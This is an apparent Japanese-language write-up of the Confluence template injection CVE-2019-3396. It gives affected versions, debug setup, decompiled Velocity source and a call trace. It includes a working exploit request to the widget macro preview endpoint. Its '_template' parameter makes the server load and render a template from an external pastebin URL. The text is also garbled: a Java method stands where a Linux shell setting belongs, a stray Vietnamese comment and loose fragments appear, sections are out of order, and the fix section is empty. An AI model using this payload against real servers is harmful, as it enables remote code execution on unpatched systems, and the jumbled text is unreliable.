Confluence の未認証テンプレートインジェクション (CVE-2019-3396)

I) ビルド

このバグは以下のバージョンで発生します:
- 1.x.x, 2.x.x, 3.x.x, 4.x.x, 5.x.x のすべてのバージョン
- 6.0.x, 6.1.x, 6.2.x, 6.3.x, 6.4.x, 6.5.x のすべてのバージョン
- 6.6.12 より前の 6.6.x のすべてのバージョン
- 6.7.x, 6.8.x, 6.9.x, 6.10.x, 6.11.x のすべてのバージョン
- 6.12.3 より前の 6.12.x のすべてのバージョン
- 6.13.3 より前の 6.13.x のすべてのバージョン
- 6.14.2 より前の 6.14.x のすべてのバージョン
ソースコードをダウンロードした後、以下の作業が必要です:
- ./confluence/WEB-INF/classes/confluence-init.properties ファイル内の confluence.home の値を Confluence ホームのパスに変更します
- リモートデバッグモードで実行するために CATALINA_OPTS を追加します

Windows の場合、./bin/setenv.bat ファイル:

set CATALINA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

Linux の場合、./bin/setenv.sh ファイル:

public void merge(Context context, Writer writer, List macroLibraries) throws ResourceNotFoundException, ParseErrorException, MethodInvocationException { if (this.errorCondition != null) { throw this.errorCondition; } else if (this.data == null) { String msg = "Template.merge() failure. The document is null, most likely due to parsing error."; throw new RuntimeException(msg); } else { InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context); ica.setMacroLibraries(macroLibraries); if (macroLibraries != null) { for(int i = 0; i < macroLibraries.size(); ++i) { try { this.rsvc.getTemplate((String)macroLibraries.get(i)); } catch (ResourceNotFoundException var17) { this.rsvc.getLog().error("template.merge(): cannot find template " + (String)macroLibraries.get(i)); throw var17; } catch (ParseErrorException var18) { this.rsvc.getLog().error("template.merge(): syntax error in template " + (String)macroLibraries.get(i) + "."); throw var18; } catch (Exception var19) { throw new RuntimeException("Template.merge(): parse failed in template " + (String)macroLibraries.get(i) + ".", var19); } } } if (this.provideScope) { ica.put(this.scopeName, new Scope(this, ica.get(this.scopeName))); } try { ica.pushCurrentTemplateName(this.name); ica.setCurrentResource(this); ((SimpleNode)this.data).render(ica, writer); ### POC có thể được render ở đây ### } catch (StopCommand var20) { if (!var20.isFor(this)) { throw var20; } if (this.rsvc.getLog().isDebugEnabled()) { this.rsvc.getLog().debug(var20.getMessage()); } } catch (IOException var21) { throw new VelocityException("IO Error rendering template '" + this.name + "'", var21); } finally { ica.popCurrentTemplateName(); ica.setCurrentResource((Resource)null); if (this.provideScope) { Object obj = ica.get(this.scopeName); if (obj instanceof Scope) { Scope scope = (Scope)obj; if (scope.getParent() != null) { ica.put(this.scopeName, scope.getParent()); } else if (scope.getReplaced() != null) { ica.put(this.scopeName, scope.getReplaced()); } else { ica.remove(this.scopeName); } } } } } }

POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: localhost:8090 Cookie: seraph.confluence=; JSESSIONID= Connection: close { "contentId":"622594", "macro": { "name":"widget", "body":"","params": { "url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic", "width":"10", "height":"10", "_template":"https://pastebin.com/raw/JPEpiuLG" } } }

WidgetMacro: execute -> DefaultRenderManager: getEmbeddedHtml -> YoutubeRenderer: getEmbeddedHtml -> DefaultVelocityRenderService: render -> getRenderedTemplate -> (confluence-6.12.2.jar) VelocityUtils: getRenderedTemplate -> getRenderedTemplate -> getRenderedTemplateWithoutSwallowingErrors -> renderTemplateWithoutSwallowingErrors -> getTemplate -> getVelocityEngine -> VelocityEngine: getTemplate -> RuntimeInstance: getResource -> (confluence-6.12.2.jar) VelocityUtils: renderTemplateWithoutSwallowingErrors -> Template: merge => SimpleNode: render

cve-2019-3396

人気

II) 分析

Stack call

では、その場合どのように悪用すればよいでしょうか？

III) 修正